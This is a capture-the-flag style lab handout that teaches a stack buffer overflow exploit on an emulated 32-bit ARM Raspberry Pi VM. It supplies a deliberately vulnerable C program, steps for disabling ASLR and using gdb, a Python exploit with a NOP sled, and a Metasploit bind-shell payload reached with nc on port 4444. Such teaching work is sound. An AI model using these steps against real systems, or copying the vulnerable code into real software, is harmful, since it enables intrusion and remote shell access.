ED 440: Exploiting Linux on 32-Bit ARM (15 pts extra)

What You Need

Purpose

To learn more about ARM assembly and shellcode.

Starting the Ubuntu Virtual Machine

Make sure the Ubuntu machine is powered off, not suspended. It needs to go through the whole boot process to configure the network adapters.

Starting the ARM32 Machine

On the Ubuntu machine, at the student@ubuntu20:~$ prompt, execute this command to start the ARM32 VM:
sudo virsh --connect qemu:///system start rpios --console
The ARM32 OS starts, ending with a login prompt, as shown below.

At the "raspberrypi login" prompt, log in with a username of pi and a password of raspberry

Leave this Terminal or SSH window open.

Verifying your Processor Type

In your ARM32 emulated machine's console, execute this command:
uname -a
The architecture of your system must be "armv6l", as shown in the image below.

Connecting to the ARM32 Emulator with SSH

Using the console directly is inconvenient, because it doesn't support scrolling properly.

In your ARM32 emulated machine's console, execute this command:

ip a
Find your ARM32 machine's IP address, highlighted in the image below.

Open a second Terminal or SSH window connecting to the Ubuntu Linux host. In the new window, execute this command, replacing the IP address with the IP address of your ARM32 machine:

ssh pi@192.168.122.161
Enter the password raspberry

The prompt changes to pi@raspberrypi, as shown below.

Making a Vulnerable Program

We'll use a program with a buffer overflow, and which takes input in raw hexadecimal so we can use any bytes we like, even null bytes.

On your ARM32 virtual machine, execute this command:


nano pwd.c
Enter this code, as shown below:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

char hex[801], raw[401];
int len;

void hex2raw() {
	printf("Enter password in hex:");
	int i, j1, j2, k, n;
	fgets(hex, 2000, stdin);
	n = strlen(hex);
	printf("Input length: %d\n", n);
	if ( (n < 3) || (n%2 == 0) ) {
		printf("ERROR: Input length must be even.\n");
		exit(1);
	}
	len = n/2;
	for(i=0; i<n; i++) {
		hex[i] = tolower(hex[i]);
	}
	printf("You entered: %s\n", hex);
	for(i=0; i<n-1; i+=2) {
		j1 = hex[i] - '0';
		if (j1 > 9) { j1 = 10 + hex[i] - 'a'; }
		j2 = hex[i+1] - '0';
		if (j2 > 9) { j2 = 10 + hex[i+1] - 'a'; }
		k = 16*j1 + j2;
		if (k < 0 || k > 255) {
			printf("ERROR: Illegal characters encountered: %c%c.\n",
				hex[i], hex[i+1]);
			exit(1);
		}
		raw[i/2] = k;
	}
}

void test_pw() {
    int i;
    char password[10];
    memcpy(password, raw, len);
    printf("Stack: Password at: %p\n", password);
    printf("Text: test_pw at: %p\n", test_pw);
    printf("Global: raw at: %p\n", raw);
}

void main() {
    hex2raw();
    test_pw();
    printf("All done!\n");
}
Save the file with Ctrl+X, Y, Enter.

Compiling for 32-Bit ARM

Execute these commands:

gcc -g -zexecstack -o pwd -g pwd.c
file pwd
./pwd
aa
The "file" command shows that the program uses 32-bit ARM instructions, as outlined in yellow in the image below.

The program runs, printing out "All done!", as shown below:

Disabling ASLR

Address Space Layout Randomization is a defense feature to make buffer overflows more difficult, and all modern operating systems uses it by default.

To see it in action, run the "pwd" program several times with a password of aa. The password address is different every time, as shown below.

ASLR makes you much safer, but it's an irritation we don't need for the first parts of this project, so we'll turn it off.

In a Terminal, execute these commands, as shown below.


sudo su -
echo 0 > /proc/sys/kernel/randomize_va_space
exit
Run the "pwd2" program several times again with a password of aa. The password address is now the same every time, as shown below.

Fuzzing the Program

Execute these commands to see a crash. (Note that we only inject numbers that are multiples of 4, because in ARM32, each instruction is 4 bytes long and must start on a 4-byte boundary.)

./pwd
10101010
./pwd
1010101014141414181818181c1c1c1c1c20202020
As shown below, the longer input causes a "Segmentation fault".

Viewing the Overflow in gdb

Execute these commands, one at a time:

gdb -q pwd
run
1010101014141414181818181c1c1c1c1c20202020
x $pc
As shown below, the pc register contains 0x2020201c:

Finding the Return Address

Execute this command:

disassemble main
As shown below, the address of the next instruction after the call to "test_pw" was 0x00010828 on my system.

Make a note of the address on your system, which may be different.

Examining the Stack

Execute these commands, one at a time:

list 39,46
break 46
run
y
10101010
x/10x $sp
The overflow happens in line 42.

The other commands place a breakpoint on the end of the test_pw function, and run the program with a short password.

At the breakpoint, the stack contains the password you entered, 10101010, outlined in yellow in the image below, followed by the return pointer, which is highlighted in the image below.

Examining an Overflow

Execute these commands, one at a time:

run
y
1010101014141414181818181c1c1c1c1c20202020
x/10x $sp
q
y
The return address is overwritten by the bytes 1c202020, in reverse order, highlighted in the image below.

Preparing an Exploit with Dummy Shellcode

This exploit has the following features, with all bytes in reversed order: Execute this command:

nano ex1.py
Enter this code, as shown below:

#!/usr/bin/python3

prefix = "1010101014141414181818181c1c1c1c"
pc = "d0c0b0a0"
nopsled = "0101a0e1" * 50
buf = "fedeffe7" * 100

attack = prefix + pc + nopsled + buf

print(attack)

Save the file with Ctrl+X, Y, Enter.

Running the Exploit in gdb

Execute these commands, one at a time:

chmod +x ex1.py
./ex1.py > att1 
gdb -q pwd
run < att1
The program stops, with the pc at a0b0c0d0, as shown below.

To see the stack, execute these commands:


x/80x $sp
q
y
Choose an address in the middle of the NOP sled, such as the address highlighted in the image below, to redirect execution to.

Also, note the address of the first instruction after the NOP sled. It's outlined in yellow in the image below, at address 0xbefff678.

Running Dummy Shellcode

Execute these commands:

cp ex1.py ex2.py
nano ex2.py
Edit the code to use the correct pc value you selected above, with the bytes reversed, outlined in the image below:

Save the file with Ctrl+X, Y, Enter.

Execute these commands, one at a time:


./ex2.py > att2 
gdb -q pwd
run < att2
q
y
The program runs the NOP sled and stops at the next instruction, as shown below.

Installing Metasploit

On the Ubuntu Linux host, open a new Terminal or SSH window.

Execute this command to install Metasploit and see the 32-bit arm exploits it has:

sudo snap install metasploit-framework
msfvenom -l payloads | grep armle | grep linux
If you are asked to create a database, reply no

Several payloads are shown, as shown below, including the one we want to use:

linux/armle/shell_bind_tcp

Listing Payload Options

Execute this command:
msfvenom -p linux/armle/shell_bind_tcp --list-options
As shown below, no options are required for this exploit. There are a lot of advanced options, not shown in the image below, but we don't need any of them.

Generating ARM32 Shellcode

Execute this command:
msfvenom -p linux/armle/shell_bind_tcp -f python
Highlight and copy the Python code, as shown below.

The Finished Exploit

On the ARM32 system, execute these commands, one at a time:

cp ex2.py ex3.py
nano ex3.py
Make these two changes:

Save the file with Ctrl+X, Y, Enter.

Running the Finished Exploit

Execute these commands, one at a time:

./ex3.py > att3 
./pwd < att3
The program runs, without returning a $ prompt, as shown below.

Leave this window open.

Flag ED 440.1: Using the Bind Shell (15 pts)

On the Ubuntu machine, at the student@ubuntu20:~$ prompt, execute these commands, replacing the IP address with the IP address of your ARM32 system:

nc 192.168.122.9 4444
ss -pant
exit
The flag is covered by a green rectangle in the image below.

Posted 2-25-23
Flag instructions fixed 3-1-23
Minor text improvements 7-20-23